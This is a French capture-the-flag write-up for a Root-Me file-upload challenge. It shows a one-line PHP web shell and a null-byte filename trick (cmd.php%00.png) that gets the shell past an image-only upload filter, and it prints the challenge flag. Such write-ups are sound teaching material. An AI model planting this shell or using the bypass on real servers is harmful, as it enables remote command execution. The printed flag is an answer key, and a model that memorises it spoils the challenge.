Aller au contenu

File upload Null byte

Lien du CTF

Analyse du site

  • Galerie d'upload
  • Fichier uniquement en GIF, JPEG or PNG
  • "Wrong file" losque ce n'est pas un fichier autorisé

Analyse

Création d'un fichier PHP cmd.php:

<?php
system($_GET['cmd']);
?>

Tentative d'upload :

wrong_file_null.png

Si on observe les requêtes HTTP, on peut retrouver essayer de modifier les MIME mais sans succés.

Compromission

Le but va d'envoyer un script php sur le serveur grâce à la fonction d'upload. Pour cela, le fichier à été renommé cmd.php.png. Lors de l'envoie avec sur le serveur, il faut modifier la requête HTTP et ajouter un null byte %00 jusste avant l'extension .png.

cmd.php%00.png

  1. Upload du fichier cmd.php.png

upload_null.png

  1. Modifier la requête

requete_http.png

  1. Accéder à la réponse de la reqête

upload_null_byte_file.png

  1. Accéder à l'URL : challenge01.root-me.org/web-serveur/ch22/galerie/upload/36ab8bf9fb1ec9f5122660ba504bda71/cmd.php%00.png

  2. Supprimer l'extension %00.png dans l'URL : challenge01.root-me.org/web-serveur/ch22/galerie/upload/36ab8bf9fb1ec9f5122660ba504bda71/cmd.php

  3. Nous obtenons le flag

flag_null.png

Flag : YPNchi2NmTwygr2dgCCF

En l'occurrence, le null byte permet d'outrepasser les restrictions du type MIME.